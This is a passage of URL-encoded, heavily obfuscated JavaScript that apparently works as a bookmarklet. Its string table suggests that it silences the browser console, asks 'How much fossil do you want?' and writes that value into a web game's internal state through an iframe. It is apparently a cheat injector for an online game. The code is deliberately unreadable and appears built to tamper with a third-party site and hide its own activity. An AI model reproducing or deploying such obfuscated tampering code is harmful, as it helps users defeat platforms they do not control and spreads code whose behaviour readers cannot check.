_0x3f3d(_0x272dd2-0x340%2C_0x13a7f6)%3B%7Dfunction _0x40dbcb(_0x22e012%2C_0x35a8d2%2C_0x227f54%2C_0x927e98%2C_0x899209)%7Breturn _0x3f3d(_0x22e012- -0x157%2C_0x35a8d2)%3B%7Dfunction _0x594059(_0x184b4e%2C_0x4d5d3d%2C_0x510e14%2C_0x4e10c3%2C_0x3927c9)%7Breturn _0x3f3d(_0x510e14-0x84%2C_0x4d5d3d)%3B%7Dvar _0xdc188e%3D_0x451280%3Breturn _0x4aba1d%5B_0x232ae6(0x361%2C0x34f%2C0x35d%2C0x2fb%2C0x329)%2B_0x40dbcb(-0x45%2C-0x6d%2C-0xf%2C-0x61%2C-0x6)%5D()%5B_0x54c2d5(0x480%2C0x488%2C0x474%2C0x49b%2C0x487)%2B%27h%27%5D(_0xdc188e%5B_0x232ae6(0x317%2C0x2f6%2C0x319%2C0x2e4%2C0x306)%5D)%5B_0x232ae6(0x311%2C0x301%2C0x366%2C0x336%2C0x329)%2B_0x232ae6(0x2d7%2C0x2c8%2C0x2a3%2C0x2d8%2C0x2dd)%5D()%5B_0x594059(0x189%2C0x175%2C0x1a6%2C0x1c4%2C0x1db)%2B_0x40dbcb(-0x1%2C-0x10%2C-0x1e%2C-0x27%2C0xe)%2B%27r%27%5D(_0x4aba1d)%5B_0x40dbcb(-0x17%2C0x17%2C-0x52%2C-0x1d%2C0xb)%2B%27h%27%5D(_0xdc188e%5B_0x232ae6(0x2de%2C0x2d2%2C0x339%2C0x319%2C0x306)%5D)%3B%7D)%3B_0x4aba1d()%3Bvar _0x4eb4bd%3D(function()%7Bvar _0x1e80a4%3D%7B%7D%3B_0x1e80a4%5B_0x4314df(0x3e2%2C0x443%2C0x450%2C0x430%2C0x41a)%5D%3Dfunction(_0x2a7a90%2C_0x57341a)%7Breturn _0x2a7a90!%3D%3D_0x57341a%3B%7D%3Bfunction _0x487601(_0x1b9ff5%2C_0x8d6313%2C_0xa5ae0f%2C_0x25e20c%2C_0x4359e2)%7Breturn _0x3f3d(_0x4359e2- -0x144%2C_0x8d6313)%3B%7D_0x1e80a4%5B_0x4314df(0x43f%2C0x41b%2C0x458%2C0x424%2C0x452)%5D%3D_0x4314df(0x4a1%2C0x492%2C0x485%2C0x46a%2C0x45e)%2C_0x1e80a4%5B_0x487601(0x2b%2C0x1c%2C-0x5%2C-0x22%2C0x9)%5D%3Dfunction(_0x52552e%2C_0x400855)%7Breturn _0x52552e!%3D%3D_0x400855%3B%7D%3Bfunction _0xb5a86e(_0x1543bc%2C_0x4772e0%2C_0xc96998%2C_0x442833%2C_0x246784)%7Breturn _0x3f3d(_0x246784-0xfb%2C_0x442833)%3B%7D_0x1e80a4%5B_0x167e80(-0x17e%2C-0x149%2C-0x169%2C-0x146%2C-0x190)%5D%3D_0x487601(-0x59%2C-0x16%2C-0x3a%2C-0x2b%2C-0x4d)%2C_0x1e80a4%5B_0xb5a86e(0x220%2C0x21d%2C0x276%2C0x263%2C0x234)%5D%3D_0xe24ece(0x219%2C0x25a%2C0x295%2C0x257%2C0x26d)%2B_0x487601(-0x21%2C-0x42%2C0x35%2C-0x19%2C-0x5)%2B%27%2B%24%27%2C_0x1e80a4%5B_0x167e80(-0x1e2%2C-0x1a4%2C-0x1e4%2C-0x208%2C-0x21b)%5D%3D_0xb5a86e(0x239%2C0x222%2C0x20a%2C0x217%2C0x218)%3Bvar _0x1220b3%3D_0x1e80a4%3Bfunction _0x4314df(_0x3772cc%2C_0x26f8a4%2C_0x103193%2C_0x35b52d%2C_0x2d4ac4)%7Breturn _0x3f3d(_0x2d4ac4-0x2f7%2C_0x35b52d)%3B%7Dfunction _0xe24ece(_0x467edb%2C_0x28f673%2C_0x4ec3d0%2C_0x38c1b0%2C_0x3f9ad6)%7Breturn _0x3f3d(_0x28f673-0x143%2C_0x4ec3d0)%3B%7Dfunction _0x167e80(_0x3418ae%2C_0x11b15f%2C_0x4645ac%2C_0x20f351%2C_0x5a8446)%7Breturn _0x3f3d(_0x3418ae- -0x2df%2C_0x5a8446)%3B%7Dvar _0x41b90b%3D!!%5B%5D%3Breturn function(_0x2abb8f%2C_0x200126)%7Bfunction _0xa398a6(_0x465b53%2C_0x2c9998%2C_0x18d043%2C_0x1b8c28%2C_0xb493cc)%7Breturn _0xb5a86e(_0x465b53-0x1d8%2C_0x2c9998-0x73%2C_0x18d043-0x1a5%2C_0x2c9998%2C_0xb493cc- -0xac)%3B%7Dfunction _0x207216(_0x61639%2C_0x1fcf0c%2C_0x1d5344%2C_0x487bdb%2C_0x169123)%7Breturn _0x167e80(_0x1fcf0c-0x66c%2C_0x1fcf0c-0x14f%2C_0x1d5344-0x1%2C_0x487bdb-0x54%2C_0x169123)%3B%7Dvar _0x4bdf93%3D%7B%7D%3Bfunction _0x396311(_0x16b5a0%2C_0x2c07d5%2C_0x30f3e7%2C_0x435286%2C_0x51b6a9)%7Breturn _0x167e80(_0x16b5a0-0x1b2%2C_0x2c07d5-0x19e%2C_0x30f3e7-0x1ee%2C_0x435286-0xba%2C_0x435286)%3B%7Dfunction _0x3353a2(_0x2e3002%2C_0x34ac85%2C_0x4915fe%2C_0x1f24b5%2C_0x1ee72f)%7Breturn _0xe24ece(_0x2e3002-0x9c%2C_0x4915fe- -0x4e5%2C_0x1f24b5%2C_0x1f24b5-0x19c%2C_0x1ee72f-0xe1)%3B%7Dfunction _0x423455(_0x253c79%2C_0x353d24%2C_0x504b32%2C_0x412d34%2C_0x2641b2)%7Breturn _0xe24ece(_0x253c79-0x164%2C_0x504b32- -0x17c%2C_0x253c79%2C_0x412d34-0x129%2C_0x2641b2-0xf0)%3B%7D_0x4bdf93%5B_0x207216(0x527%2C0x4fc%2C0x4e9%2C0x53e%2C0x538)%5D%3D_0x1220b3%5B_0x207216(0x504%2C0x4c6%2C0x4ee%2C0x4ae%2C0x4e9)%5D%3Bvar _0x194bdd%3D_0x4bdf93%3Bif(_0x1220b3%5B_0x423455(0xd1%2C0xcd%2C0xea%2C0x117%2C0xf9)%5D(_0x1220b3%5B_0x207216(0x4a8%2C0x48a%2C0x4af%2C0x4c1%2C0x480)%5D%2C_0x1220b3%5B_0x207216(0x459%2C0x48a%2C0x477%2C0x4c8%2C0x4a2)%5D))%7Bvar _0x2b6849%3D_0x1a257f%5B_0x396311(-0x14%2C-0x42%2C0x11%2C-0x35%2C0x11)%5D(_0xb8eb6d%2Carguments)%3Breturn _0x41311c%3Dnull%2C_0x2b6849%3B%7Delse%7Bvar _0x36c882%3D_0x41b90b%3Ffunction()%7Bfunction _0x3b9e41(_0x389d39%2C_0x455c4e%2C_0x5be7ab%2C_0x46ebd3%2C_0x419652)%7Breturn _0xa398a6(_0x389d39-0x8%2C_0x5be7ab%2C_0x5be7ab-0xa2%2C_0x46ebd3-0x1bb%2C_0x389d39- -0x325)%3B%7Dfunction _0x4e30a1(_0x20d536%2C_0x48a5c0%2C_0x224849%2C_0xa185c5%2C_0x1c645d)%7Breturn _0x3353a2(_0x20d536-0x8d%2C_0x48a5c0-0x37%2C_0xa185c5-0x4e0%2C_0x1c645d%2C_0x1c645d-0xe2)%3B%7Dfunction _0x3e3758(_0x459e3b%2C_0x36f3b1%2C_0x5cbc26%2C_0x1d1b83%2C_0x11f554)%7Breturn _0xa398a6(_0x459e3b-0x122%2C_0x1d1b83%2C_0x5cbc26-0x16d%2C_0x1d1b83-0x19f%2C_0x36f3b1-0x2b)%3B%7Dfunction _0x5c6d73(_0x5195aa%2C_0x2bc431%2C_0x348f40%2C_0x16059e%2C_0x1a9057)%7Breturn _0x423455(_0x5195aa%2C_0x2bc431-0xe4%2C_0x16059e- -0x127%2C_0x16059e-0x33%2C_0x1a9057-0x90)%3B%7Dfunction _0x576516(_0x43d4b0%2C_0x172ba3%2C_0x4aefd0%2C_0x11ef51%2C_0x46cfc2)%7Breturn _0xa398a6(_0x43d4b0-0x18%2C_0x11ef51%2C_0x4aefd0-0x1b1%2C_0x11ef51-0x82%2C_0x4aefd0- -0x3ec)%3B%7Dif(_0x1220b3%5B_0x4e30a1(0x280%2C0x221%2C0x27b%2C0x261%2C0x258)%5D(_0x1220b3%5B_0x576516(-0x27e%2C-0x211%2C-0x242%2C-0x27c%2C-0x20c)%5D%2C_0x1220b3%5B_0x5c6d73(-0x1d%2C-0x1b%2C-0x1e%2C-0x5%2C0xc)%5D))%7Bvar _0x5ecabe%3D_0xe5ed9c%3Ffunction()%7Bfunction _0x40faf3(_0x353304%2C_0x8ec933%2C_0x4f8b1c%2C_0x5cc550%2C_0x4f1d06)%7Breturn _0x4e30a1(_0x353304-0x3c%2C_0x8ec933-0x73%2C_0x4f8b1c-0x1ac%2C_0x353304- -0x3a%2C_0x4f1d06)%3B%7Dif(_0x47ff22)%7Bvar _0x90a3bb%3D_0x17971a%5B_0x40faf3(0x21d%2C0x237%2C0x203%2C0x24e%2C0x218)%5D(_0xbe14e4%2Carguments)%3Breturn _0x5ed4af%3Dnull%2C_0x90a3bb%3B%7D%7D%3Afunction()%7B%7D%3Breturn _0x10fa3a%3D!%5B%5D%2C_0x5ecabe%3B%7Delse%7Bif(_0x200126)%7Bif(_0x1220b3%5B_0x4e30a1(0x256%2C0x2a3%2C0x255%2C0x28b%2C0x262)%5D(_0x1220b3%5B_0x3b9e41(-0x175%2C-0x198%2C-0x19f%2C-0x163%2C-0x18f)%5D%2C_0x1220b3%5B_0x576516(-0x217%2C-0x1fa%2C-0x23c%2C-0x217%2C-0x222)%5D))return _0x1c88bf%5B_0x4e30a1(0x2d6%2C0x27d%2C0x29d%2C0x29c%2C0x28b)%2B_0x4e30a1(0x28f%2C0x266%2C0x255%2C0x250%2C0x248)%5D()%5B_0x3e3758(0x1b3%2C0x1ba%2C0x1e5%2C0x17d%2C0x1bc)%2B%27h%27%5D(_0x194bdd%5B_0x576516(-0x22e%2C-0x22e%2C-0x22e%2C-0x242%2C-0x230)%5D)%5B_0x4e30a1(0x2d5%2C0x292%2C0x2cd%2C0x29c%2C0x2d3)%2B_0x576516(-0x284%2C-0x278%2C-0x28b%2C-0x2ca%2C-0x2aa)%5D()%5B_0x3b9e41(-0x1b4%2C-0x1cf%2C-0x1f0%2C-0x1c1%2C-0x192)%2B_0x576516(-0x207%2C-0x26c%2C-0x247%2C-0x27d%2C-0x249)%2B%27r%27%5D(_0xfa95d0)%5B_0x4e30a1(0x29a%2C0x282%2C0x2a9%2C0x27e%2C0x2b9)%2B%27h%27%5D(_0x194bdd%5B_0x3b9e41(-0x167%2C-0x135%2C-0x167%2C-0x17e%2C-0x13d)%5D)%3Belse%7Bvar _0x49ae88%3D_0x200126%5B_0x4e30a1(0x240%2C0x239%2C0x221%2C0x257%2C0x264)%5D(_0x2abb8f%2Carguments)%3Breturn _0x200126%3Dnull%2C_0x49ae88%3B%7D%7D%7D%7D%3Afunction()%7B%7D%3Breturn _0x41b90b%3D!%5B%5D%2C_0x36c882%3B%7D%7D%3B%7D())%3Bfunction _0x430dfa(_0x5eb928%2C_0x514c2e%2C_0x32889c%2C_0x3d93a2%2C_0x6ea7ef)%7Breturn _0x3f3d(_0x5eb928- -0x6d%2C_0x3d93a2)%3B%7Dfunction _0x20a07b(_0x535e04%2C_0x308ee7%2C_0x5d22ed%2C_0x3e4ee1%2C_0xbeae06)%7Breturn _0x3f3d(_0x5d22ed-0x2da%2C_0xbeae06)%3B%7Dfunction _0x81df()%7Bvar _0x43fcd1%3D%5B%27value%27%2C%27excep%27%2C%27tor%27%2C%27hADQu%27%2C%27%5Cx22retu%27%2C%27state%27%2C%27conte%27%2C%27cJivg%27%2C%27wVUFh%27%2C%27ant%3F%27%2C%27s%5Cx20do%5Cx20%27%2C%27hvykb%27%2C%27WFkGL%27%2C%27promp%27%2C%27query%27%2C%27split%27%2C%27vIqcE%27%2C%27487288OMbgvn%27%2C%27ctor(%27%2C%27retur%27%2C%27table%27%2C%27ntWin%27%2C%27proto%27%2C%27nstru%27%2C%27ing%27%2C%27type%27%2C%27Selec%27%2C%27DgzPe%27%2C%27child%27%2C%27(((.%2B%27%2C%27bAgZB%27%2C%27apply%27%2C%27n()%5Cx20%27%2C%27XCcpp%27%2C%27DnLSt%27%2C%27gZupv%27%2C%27CDFzU%27%2C%27tion%27%2C%27error%27%2C%27FDWMh%27%2C%27const%27%2C%27qoZHW%27%2C%27QMzjl%27%2C%27934104gMJWBo%27%2C%272%7C3%7C5%27%2C%27you%5Cx20w%27%2C%27vpiDN%27%2C%27displ%27%2C%27eFlhz%27%2C%27%7C0%7C2%7C%27%2C%27__pro%27%2C%27foYXJ%27%2C%27DsMNZ%27%2C%27%7C3%7C0%27%2C%27>%5Cx20div%27%2C%27lengt%27%2C%27dChil%27%2C%27appen%27%2C%27to__%27%2C%27Node%27%2C%27creat%27%2C%27conso%27%2C%27OpWbr%27%2C%27LsRrn%27%2C%27MTjDH%27%2C%27FXsPR%27%2C%27119994JdfnCx%27%2C%27JngCf%27%2C%27zYDkq%27%2C%27)%2B)%2B)%27%2C%27searc%27%2C%271901160ZKGgJI%27%2C%27ExZLB%27%2C%27_owne%27%2C%27daQBT%27%2C%27dlnEQ%27%2C%27%7B%7D.co%27%2C%27171BHtzLq%27%2C%27n%5Cx20(fu%27%2C%27FlVgh%27%2C%27kLeiB%27%2C%27wRTrr%27%2C%27QjioC%27%2C%27NTIET%27%2C%27none%27%2C%27%23app%5Cx20%27%2C%27fossi%27%2C%27Jlygl%27%2C%27WSGMC%27%2C%27ren%27%2C%27dLuNT%27%2C%27eElem%27%2C%27ructo%27%2C%276mOblJK%27%2C%27uch%5Cx20f%27%2C%27gQGBZ%27%2C%27info%27%2C%27oulQL%27%2C%27nkFFI%27%2C%27%5Cx20>%5Cx20di%27%2C%27toStr%27%2C%27hQDGZ%27%2C%27ossil%27%2C%27QJSBz%27%2C%27%7C1%7C4%7C%27%2C%27dow%27%2C%27nctio%27%2C%27ent%27%2C%27trace%27%2C%27QgaKS%27%2C%273%7C4%7C5%27%2C%27309890ATyvoi%27%2C%27is%5Cx22)(%27%2C%27JxrpT%27%2C%274307704UsFRzn%27%2C%27KKMVD%27%2C%27537142pBTrpX%27%2C%27FUSDe%27%2C%27ifram%27%2C%27warn%27%2C%27iEaFY%27%2C%27hEkfu%27%2C%2763WFYhVE%27%2C%27bind%27%2C%27cpysq%27%2C%27body%27%2C%27rn%5Cx20th%27%2C%27How%5Cx20m%27%2C%27ZAHjQ%27%2C%27log%27%2C%27oKlOI%27%2C%27kEuRC%27%2C%27style%27%2C%274%7C2%7C1%27%5D%3B_0x81df%3Dfunction()%7Breturn _0x43fcd1%3B%7D%3Breturn _0x81df()%3B%7Dvar _0x5490d9%3D_0x4eb4bd(this%2Cfunction()%7Bvar _0x965163%3D%7B%27oKlOI%27%3A_0x35a038(0x2a4%2C0x29d%2C0x2d6%2C0x2a4%2C0x306)%2B_0x35a038(0x2fc%2C0x328%2C0x30c%2C0x318%2C0x2ea)%2C%27JxrpT%27%3Afunction(_0xcfc253%2C_0x3ec327)%7Breturn _0xcfc253<_0x3ec327%3B%7D%2C%27cJivg%27%3A_0x1265f2(-0x127%2C-0xfa%2C-0x113%2C-0xe5%2C-0x156)%2B_0x35a038(0x31d%2C0x33a%2C0x33f%2C0x31f%2C0x355)%2B%270%27%2C%27hQDGZ%27%3Afunction(_0x3b32e3%2C_0x15cff8)%7Breturn _0x3b32e3(_0x15cff8)%3B%7D%2C%27hEkfu%27%3Afunction(_0x2529f9%2C_0x35125e)%7Breturn _0x2529f9%2B_0x35125e%3B%7D%2C%27nkFFI%27%3Afunction(_0x464a38%2C_0x4b2b14)%7Breturn _0x464a38%2B_0x4b2b14%3B%7D%2C%27ExZLB%27%3A_0x35a038(0x307%2C0x319%2C0x2ea%2C0x318%2C0x312)%2B_0x35a038(0x336%2C0x315%2C0x325%2C0x309%2C0x34f)%2B_0x67f2a8(0xc4%2C0xcd%2C0xab%2C0xbe%2C0xab)%2B_0x67f2a8(0x33%2C0xa1%2C0x99%2C0x93%2C0x61)%2C%27JngCf%27%3A_0x67f2a8(0x7c%2C0x75%2C0xc3%2C0xad%2C0x8d)%2B_0x35a038(0x316%2C0x331%2C0x2ee%2C0x2ca%2C0x2ab)%2B_0x35a038(0x32b%2C0x2e5%2C0x2e9%2C0x32c%2C0x2fc)%2B_0x8afebf(0x28f%2C0x299%2C0x2d6%2C0x303%2C0x2ca)%2B_0x1265f2(-0xb1%2C-0xf5%2C-0xc1%2C-0xba%2C-0x90)%2B_0x8afebf(0x31f%2C0x35d%2C0x35f%2C0x341%2C0x336)%2B%27%5Cx20)%27%2C%27wVUFh%27%3Afunction(_0x57b928)%7Breturn _0x57b928()%3B%7D%2C%27dlnEQ%27%3A_0x8afebf(0x2b2%2C0x2ae%2C0x2f0%2C0x2a5%2C0x2c1)%2C%27dLuNT%27%3A_0x67f2a8(0xc3%2C0xa9%2C0xc5%2C0xdd%2C0xb8)%2C%27WSGMC%27%3A_0x67f2a8(0x8f%2C0x79%2C0xc1%2C0x64%2C0xa1)%2C%27iEaFY%27%3A_0x35a038(0x2c0%2C0x332%2C0x2fd%2C0x2dd%2C0x2c5)%2C%27bAgZB%27%3A_0x67f2a8(0x7c%2C0x62%2C0x5a%2C0x0%2C0x42)%2B_0x67f2a8(0x5f%2C0x82%2C0x2a%2C0x5e%2C0x66)%2C%27eFlhz%27%3A_0x67f2a8(0x61%2C0x45%2C0x1c%2C0x63%2C0x55)%2C%27wRTrr%27%3A_0x1265f2(-0xac%2C-0xf7%2C-0xd3%2C-0xf6%2C-0xf8)%2C%27hvykb%27%3Afunction(_0xeb8763%2C_0x5190f9)%7Breturn _0xeb8763!%3D%3D_0x5190f9%3B%7D%2C%27foYXJ%27%3A_0x1265f2(-0xb8%2C-0x122%2C-0xed%2C-0xb9%2C-0x105)%2C%27DsMNZ%27%3Afunction(_0x44dc34%2C_0x282f62)%7Breturn _0x44dc34%2B_0x282f62%3B%7D%2C%27FlVgh%27%3Afunction(_0x1b2b47%2C_0x2bd74f)%7Breturn _0x1b2b47%3D%3D%3D_0x2bd74f%3B%7D%2C%27MTjDH%27%3A_0x1265f2(-0x104%2C-0x13c%2C-0x111%2C-0x14e%2C-0xfa)%2C%27Jlygl%27%3A_0x192e86(0x4f4%2C0x519%2C0x4d7%2C0x50e%2C0x55b)%2C%27zYDkq%27%3A_0x67f2a8(0x8c%2C0x59%2C0x5a%2C0x4e%2C0x63)%2C%27vIqcE%27%3A_0x35a038(0x379%2C0x34c%2C0x345%2C0x33c%2C0x380)%2B_0x67f2a8(0x56%2C0x9b%2C0x47%2C0x31%2C0x72)%2B%271%27%7D%2C_0x219394%3Btry%7Bif(_0x965163%5B_0x192e86(0x4c2%2C0x4e6%2C0x4aa%2C0x4ea%2C0x4d8)%5D(_0x965163%5B_0x35a038(0x2ce%2C0x330%2C0x30a%2C0x30c%2C0x2ed)%5D%2C_0x965163%5B_0x1265f2(-0x10a%2C-0x105%2C-0x10c%2C-0x121%2C-0x104)%5D))%7Bvar _0x4abcd6%3D_0x56cd2e%5B_0x1265f2(-0x149%2C-0x12d%2C-0x120%2C-0x163%2C-0xe2)%5D(_0x1da9ce%2Carguments)%3Breturn _0x3c389e%3Dnull%2C_0x4abcd6%3B%7Delse%7Bvar _0x37e5bf%3D_0x965163%5B_0x67f2a8(0x82%2C0x6a%2C0xb3%2C0x92%2C0xa6)%5D(Function%2C_0x965163%5B_0x1265f2(-0x84%2C-0x8b%2C-0xc6%2C-0x83%2C-0xe0)%5D(_0x965163%5B_0x35a038(0x2f2%2C0x2d1%2C0x30b%2C0x342%2C0x345)%5D(_0x965163%5B_0x35a038(0x2f8%2C0x32b%2C0x31f%2C0x2f0%2C0x32a)%5D%2C_0x965163%5B_0x1265f2(-0x11b%2C-0xf0%2C-0xfc%2C-0x110%2C-0xec)%5D)%2C%27)%3B%27))%3B_0x219394%3D_0x965163%5B_0x67f2a8(0x71%2C0x72%2C0x3c%2C0x2d%2C0x49)%5D(_0x37e5bf)%3B%7D%7Dcatch(_0x12350d)%7Bif(_0x965163%5B_0x192e86(0x560%2C0x52a%2C0x527%2C0x541%2C0x4f9)%5D(_0x965163%5B_0x67f2a8(0x3f%2C0x7e%2C0x70%2C0xa4%2C0x81)%5D%2C_0x965163%5B_0x67f2a8(0xa2%2C0x80%2C0x9f%2C0x8f%2C0x98)%5D))%7Bif(_0x34fa92)%7Bvar _0x502abb%3D_0x36b696%5B_0x67f2a8(0x8f%2C0x7d%2C0x2d%2C0x21%2C0x60)%5D(_0x412329%2Carguments)%3Breturn _0x2e09d5%3Dnull%2C_0x502abb%3B%7D%7Delse _0x219394%3Dwindow%3B%7Dvar _0xcb8f42%3D_0x219394%5B_0x1265f2(-0xfb%2C-0xc4%2C-0x102%2C-0xd0%2C-0x132)%2B%27le%27%5D%3D_0x219394%5B_0x67f2a8(0x47%2C0x96%2C0x74%2C0xa5%2C0x7e)%2B%27le%27%5D%7C%7C%7B%7D%3Bfunction _0x192e86(_0x150318%2C_0x29fdff%2C_0x130ecb%2C_0x4f3ce2%2C_0x555942)%7Breturn _0x3f3d(_0x29fdff-0x3e1%2C_0x130ecb)%3B%7Dfunction _0x8afebf(_0x47cfea%2C_0x5adf75%2C_0x2c3dea%2C_0x226401%2C_0x360200)%7Breturn _0x3f3d(_0x360200-0x1cc%2C_0x226401)%3B%7Dfunction _0x1265f2(_0x989a76%2C_0x405c18%2C_0x4e48ec%2C_0x5b5e02%2C_0x344f4c)%7Breturn _0x3f3d(_0x4e48ec- -0x239%2C_0x989a76)%3B%7Dfunction _0x67f2a8(_0x532a5f%2C_0xa6e9c9%2C_0xf5014c%2C_0x1b8f83%2C_0x352d9b)%7Breturn _0x3f3d(_0x352d9b- -0xb9%2C_0xf5014c)%3B%7Dfunction _0x35a038(_0x30f67b%2C_0x94809b%2C_0x44dbf1%2C_0x2f590e%2C_0x4c0f49)%7Breturn _0x3f3d(_0x44dbf1-0x1dd%2C_0x2f590e)%3B%7Dvar _0x4c69dc%3D%5B_0x965163%5B_0x35a038(0x2f4%2C0x2e4%2C0x322%2C0x2ff%2C0x2e5)%5D%2C_0x965163%5B_0x35a038(0x339%2C0x2fb%2C0x331%2C0x305%2C0x367)%5D%2C_0x965163%5B_0x1265f2(-0xab%2C-0xd6%2C-0xe7%2C-0x114%2C-0x112)%5D%2C_0x965163%5B_0x1265f2(-0xc7%2C-0xa6%2C-0xc7%2C-0xa6%2C-0xfc)%5D%2C_0x965163%5B_0x67f2a8(0x6e%2C0x78%2C0x44%2C0x75%2C0x5f)%5D%2C_0x965163%5B_0x67f2a8(0x47%2C0x46%2C0x45%2C0xa0%2C0x71)%5D%2C_0x965163%5B_0x67f2a8(0xce%2C0xad%2C0xa7%2C0x61%2C0x92)%5D%5D%3Bfor(var _0xbf0c6a%3D0x2*-0x61%2B0x1d05%2B-0x1c43%3B_0x965163%5B_0x35a038(0x33d%2C0x337%2C0x348%2C0x370%2C0x31d)%5D(_0xbf0c6a%2C_0x4c69dc%5B_0x8afebf(0x334%2C0x2c0%2C0x2f8%2C0x327%2C0x2fd)%2B%27h%27%5D)%3B_0xbf0c6a%2B%2B)%7Bif(_0x965163%5B_0x67f2a8(0xd2%2C0x8b%2C0x70%2C0x5e%2C0x90)%5D(_0x965163%5B_0x1265f2(-0xf0%2C-0xec%2C-0xfb%2C-0xed%2C-0x134)%5D%2C_0x965163%5B_0x35a038(0x328%2C0x2e9%2C0x31b%2C0x326%2C0x2e3)%5D))%7Bvar _0x4420d0%3D_0x965163%5B_0x1265f2(-0xf0%2C-0x15c%2C-0x12f%2C-0x15e%2C-0x128)%5D%5B_0x1265f2(-0x172%2C-0x132%2C-0x130%2C-0x14e%2C-0x110)%5D(%27%7C%27)%2C_0x51d67%3D0x19a6%2B0x649%2B-0x1*0x1fef%3Bwhile(!!%5B%5D)%7Bswitch(_0x4420d0%5B_0x51d67%2B%2B%5D)%7Bcase%270%27%3A_0xe5e00a%5B_0x67f2a8(0x69%2C0x30%2C0x3d%2C0xa9%2C0x73)%2B_0x35a038(0x2f1%2C0x31b%2C0x311%2C0x343%2C0x322)%5D%3D_0x4eb4bd%5B_0x1265f2(-0xdd%2C-0x9b%2C-0xc4%2C-0x91%2C-0xc6)%5D(_0x4eb4bd)%3Bcontinue%3Bcase%271%27%3A_0xcb8f42%5B_0x382a35%5D%3D_0xe5e00a%3Bcontinue%3Bcase%272%27%3A_0xe5e00a%5B_0x1265f2(-0x10b%2C-0x10c%2C-0xdb%2C-0xd7%2C-0x99)%2B_0x67f2a8(0x3a%2C0x20%2C0x43%2C0x97%2C0x59)%5D%3D_0x1f7193%5B_0x35a038(0x36d%2C0x303%2C0x33b%2C0x34a%2C0x307)%2B_0x35a038(0x2d1%2C0x2bb%2C0x2ef%2C0x2d9%2C0x324)%5D%5B_0x8afebf(0x33e%2C0x352%2C0x35b%2C0x351%2C0x341)%5D(_0x1f7193)%3Bcontinue%3Bcase%273%27%3Avar _0xe5e00a%3D_0x4eb4bd%5B_0x192e86(0x543%2C0x503%2C0x4f8%2C0x4f4%2C0x4de)%2B_0x67f2a8(0xbb%2C0xa6%2C0x5e%2C0xbc%2C0x9d)%2B%27r%27%5D%5B_0x8afebf(0x310%2C0x2a3%2C0x2e5%2C0x2e4%2C0x2dc)%2B_0x67f2a8(0x4d%2C0x61%2C0x93%2C0x39%2C0x5a)%5D%5B_0x192e86(0x55b%2C0x556%2C0x513%2C0x561%2C0x58b)%5D(_0x4eb4bd)%3Bcontinue%3Bcase%274%27%3Avar _0x382a35%3D_0x4c69dc%5B_0xbf0c6a%5D%3Bcontinue%3Bcase%275%27%3Avar _0x1f7193%3D_0xcb8f42%5B_0x382a35%5D%7C%7C_0xe5e00a%3Bcontinue%3B%7Dbreak%3B%7D%7Delse%7Bvar _0x4a0478%3D_0x965163%5B_0x1265f2(-0x166%2C-0x119%2C-0x143%2C-0x132%2C-0x118)%5D%5B_0x1265f2(-0x10d%2C-0x165%2C-0x130%2C-0x15f%2C-0xf9)%5D(%27%7C%27)%2C_0x36c56d%3D0x1*0xa21%2B-0x6e2*-0x4%2B0x1f*-0x137%3Bwhile(!!%5B%5D)%7Bswitch(_0x4a0478%5B_0x36c56d%2B%2B%5D)%7Bcase%270%27%3Afor(var _0x1ec725%3D-0x1*-0xc7%2B0x1e*-0x10f%2B-0x7*-0x46d%3B_0x965163%5B_0x192e86(0x521%2C0x54c%2C0x544%2C0x548%2C0x519)%5D(_0x1ec725%2C_0x2e1e75%5B_0x192e86(0x504%2C0x512%2C0x4f5%2C0x511%2C0x52e)%2B%27h%27%5D)%3B_0x1ec725%2B%2B)%7Bvar _0x117349%3D_0x965163%5B_0x35a038(0x2bd%2C0x2ef%2C0x2de%2C0x2ea%2C0x2bb)%5D%5B_0x35a038(0x2d7%2C0x2a6%2C0x2e6%2C0x31b%2C0x2f4)%5D(%27%7C%27)%2C_0x6180fc%3D-0x1fa9%2B0x22cd%2B0x324*-0x1%3Bwhile(!!%5B%5D)%7Bswitch(_0x117349%5B_0x6180fc%2B%2B%5D)%7Bcase%270%27%3A_0x3d1b8e%5B_0x5436d0%5D%3D_0x4d3b72%3Bcontinue%3Bcase%271%27%3A_0x4d3b72%5B_0x8afebf(0x32c%2C0x2d0%2C0x2fa%2C0x2c1%2C0x2f8)%2B_0x35a038(0x32a%2C0x314%2C0x311%2C0x2fa%2C0x332)%5D%3D_0x1583de%5B_0x35a038(0x382%2C0x35e%2C0x352%2C0x33f%2C0x32d)%5D(_0xc17d64)%3Bcontinue%3Bcase%272%27%3Avar _0x4d3b72%3D_0x3f836d%5B_0x35a038(0x2d0%2C0x30f%2C0x2ff%2C0x33b%2C0x2cb)%2B_0x67f2a8(0x96%2C0xaa%2C0xa9%2C0x98%2C0x9d)%2B%27r%27%5D%5B_0x1265f2(-0x144%2C-0x149%2C-0x129%2C-0xf8%2C-0x14f)%2B_0x67f2a8(0x76%2C0x1c%2C0x20%2C0x54%2C0x5a)%5D%5B_0x35a038(0x373%2C0x388%2C0x352%2C0x33b%2C0x343)%5D(_0x41f3e2)%3Bcontinue%3Bcase%273%27%3Avar _0x5436d0%3D_0x2e1e75%5B_0x1ec725%5D%3Bcontinue%3Bcase%274%27%3A_0x4d3b72%5B_0x35a038(0x356%2C0x305%2C0x33b%2C0x305%2C0x370)%2B_0x35a038(0x308%2C0x303%2C0x2ef%2C0x317%2C0x2d7)%5D%3D_0x2ea8aa%5B_0x35a038(0x2fe%2C0x327%2C0x33b%2C0x359%2C0x32b)%2B_0x35a038(0x2f1%2C0x2db%2C0x2ef%2C0x2f6%2C0x304)%5D%5B_0x192e86(0x524%2C0x556%2C0x564%2C0x589%2C0x537)%5D(_0x2ea8aa)%3Bcontinue%3Bcase%275%27%3Avar _0x2ea8aa%3D_0x3d1b8e%5B_0x5436d0%5D%7C%7C_0x4d3b72%3Bcontinue%3B%7Dbreak%3B%7D%7Dcontinue%3Bcase%271%27%3Avar _0x3d1b8e%3D_0x94bff8%5B_0x35a038(0x308%2C0x31e%2C0x314%2C0x319%2C0x2de)%2B%27le%27%5D%3D_0x94bff8%5B_0x8afebf(0x314%2C0x2c4%2C0x2da%2C0x336%2C0x303)%2B%27le%27%5D%7C%7C%7B%7D%3Bcontinue%3Bcase%272%27%3Atry%7Bvar 